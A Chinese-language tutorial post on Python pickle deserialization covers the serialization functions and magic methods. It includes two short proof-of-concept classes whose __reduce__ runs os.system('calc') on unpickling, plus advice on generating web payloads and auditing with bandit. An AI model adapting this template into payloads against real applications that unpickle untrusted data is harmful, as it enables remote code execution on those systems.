python 反序列化
前言:python反序列化相比java反序列化,更接近于php反序列化
1.0 python 中的序列化函数
**1. **pickle.dump(obj , file)
将对象序列化后保存在文件中
2. pickle.load(file)
将文件中序列化内容反序列化为对象
**3. **pickle.dumps(obj)
将对象序列化后返回,返回的是字符串形式的字节流
**4. **pickle.loads(bytes)
1.1 python中的魔术方法
1 __reduce__
该魔术方法在反序列化时调用
下面是一个例子:
import pickle
import os
class A:
def __reduce__(self):
print("111")
return (os.system, ('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(p_a)
其中return的内容是受到限制的,在return中写的内容会在pickle.loads,也就是反序列化时
被执行。
2 __init__
本质就是python中的构造函数,在对象被实例化时调用
3 __setstate__
反序列化时会调用的方法
4 __getstate__
序列化中会被调用
给个简单的利用例子吧
import pickle
import os
class A:
def __init__(self, fun, arg):
self.fun = fun
self.arg = arg
def __reduce__(self):
return (self.fun, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
如果我们析构函数的值可以控制,利用当前代码段就可以达成rce的成果
python的反序列化和java,php的反序列化还不是很一样,在反序列化应用时并不需要把类
写出来,只需要你的对象中有魔术方法就可以直接执行
我们在写python 反序列化payload时,需要注意web应用所使用的python版本,如果web
应用使用的是python3,那我们也得使用python3去运行生成,如果使用的是python2 ,那
也要使用对应的版本去生成payload
我们在对python代码进行代码审计时可以使用代码审计工具,比如bandit
可以使用pip install bandit
来进行安装
在安装后会在Pythonz目录中增加一个.exe或者无后缀的可执行文件
在命令行 加上-r 分析代码地址即可进行代码分析
标签:__,return,python,self,漏洞,序列化,pickle From: https://www.cnblogs.com/rpup/p/18185586